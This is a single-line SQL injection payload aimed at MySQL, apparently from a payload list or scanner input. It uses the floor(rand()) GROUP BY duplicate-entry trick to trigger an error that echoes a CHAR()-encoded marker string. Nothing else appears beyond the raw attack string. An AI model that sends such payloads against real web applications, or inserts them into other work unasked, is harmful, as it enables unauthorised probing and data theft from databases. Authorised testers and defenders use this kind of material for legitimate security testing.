'(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(65),CHAR(109),CHAR(70),CHAR(113),CHAR(107),CHAR(83),CHAR(102),CHAR(109)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))'